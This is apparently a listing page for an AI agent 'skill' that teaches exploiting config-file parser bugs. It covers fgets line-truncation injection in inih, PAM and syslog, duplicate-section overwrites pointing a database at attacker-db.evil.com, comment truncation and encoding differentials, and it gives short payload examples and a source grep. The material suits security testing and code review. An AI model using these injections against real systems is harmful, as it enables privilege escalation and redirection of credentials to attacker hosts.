القائمة
Exploit config file parser vulnerabilities: line length truncation, duplicate section overwrites, encoding differentials, and fgets()-based C parser bugs. Use when target processes INI/YAML/TOML/properties files, PAM configs, syslog, or any fgets()-based config parser.
التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.
استنادا إلى تصنيف SOC المهني
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| name | config-file-parsing-bugs |
| description | Exploit config file parser vulnerabilities: line length truncation, duplicate section overwrites, encoding differentials, and fgets()-based C parser bugs. Use when target processes INI/YAML/TOML/properties files, PAM configs, syslog, or any fgets()-based config parser. |
Config file parsers silently truncate, silently drop, and silently overwrite. When a security decision depends on parsed config, parser quirks become security bugs.
Config file parsers are vulnerable when:
C-based parsers using fgets() read a fixed number of bytes per line. Excess bytes remain in the input buffer and are read by the NEXT fgets() call as a new line.
inih (C INI parser): Default INI_MAX_LINE = 200 bytes.
[section]
key = AAAA...(195 bytes padding)...\nadmin = true
; Parser sees:
; Line 1 (200 bytes): "key = AAAA...(truncated)"
; Line 2 (remainder): "admin = true" <-- parsed as legitimate entry
PAM pam_group: PAM_GROUP_BUFLEN = 1000 bytes, same pattern.
BSD syslog (RFC 3164): 1024-byte message limit. Pad to 1024, inject newline + fake log entry.
Detection in source code:
// VULNERABLE: fixed-size fgets with no overflow check
char line[200];
while (fgets(line, sizeof(line), fp) != NULL) {
parse_line(line);
}
| Parser | Behavior |
|---|---|
Python configparser | Last section wins, last key wins |
PHP parse_ini_file() | Last key wins within section |
| inih (C) | Last key wins |
Java Properties.load() | Last key wins |
| TOML spec | Duplicate keys are errors (but some parsers silently accept) |
| YAML spec | Last key wins (undefined behavior per spec) |
; Original:
[database]
host = secure-db.internal
; Attacker appends:
[database]
host = attacker-db.evil.com
; Result: app connects to attacker-db.evil.com
; INI_SCANNER_NORMAL treats unquoted ; as comment start
password = s3cret;drop_this
; Parsed value: "s3cret" (everything after ; silently dropped)
INI_SCANNER_NORMAL interprets true/false/null/none as types -- potential type juggling if app uses loose comparison.
Line endings: \r\n vs \n -- Linux parser may include \r in the value.
Unicode whitespace: U+00A0 (non-breaking space), U+200B (zero-width space) -- some parsers treat as part of the value, others as whitespace.
YAML tabs: YAML forbids tabs for indentation but some parsers accept them. Tab width differences can change nesting level.
; systemd: Environment="SECRET=%H-secret" ; %H expands to hostname
; Docker .env: DB_URL=postgres://${DB_HOST}:5432/app
; Shell: source /etc/default/myapp
If you can set an environment variable (via SSRF to cloud metadata, another injection), the expanded value in config may differ from what was validated.
grep -r 'fgets\|MAX_LINE\|BUF.*LEN')